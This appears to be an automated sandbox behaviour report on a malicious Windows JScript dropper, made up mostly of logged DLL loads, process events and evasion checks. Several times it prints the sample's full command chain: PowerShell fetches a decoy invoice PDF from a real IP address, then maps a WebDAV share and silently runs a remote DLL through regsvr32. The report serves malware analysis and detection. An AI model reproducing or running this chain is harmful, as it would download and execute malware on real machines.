Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\5779.js.csv");ITextStream.WriteLine(" entry:8291 f:qemrn");ITextStream.WriteLine(" exec:2 f:qemrn");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49738

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4042			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5551			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1988	Thread sleep count: 4042 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1988	Thread sleep count: 5551 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3648	Thread sleep time: -10145709240540247s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7204	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6660	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7216	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7380	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7652	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 0000000B.00000002.1364475389.0000018FB0AE8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000B.00000002.1364475389.0000018FB0B48000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.2594258114.0000024620458000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000D.00000002.2592995110.000002461AE2B000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1683151892189.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1683151892189.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1683151892189.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1683151892189.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1683151892189.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
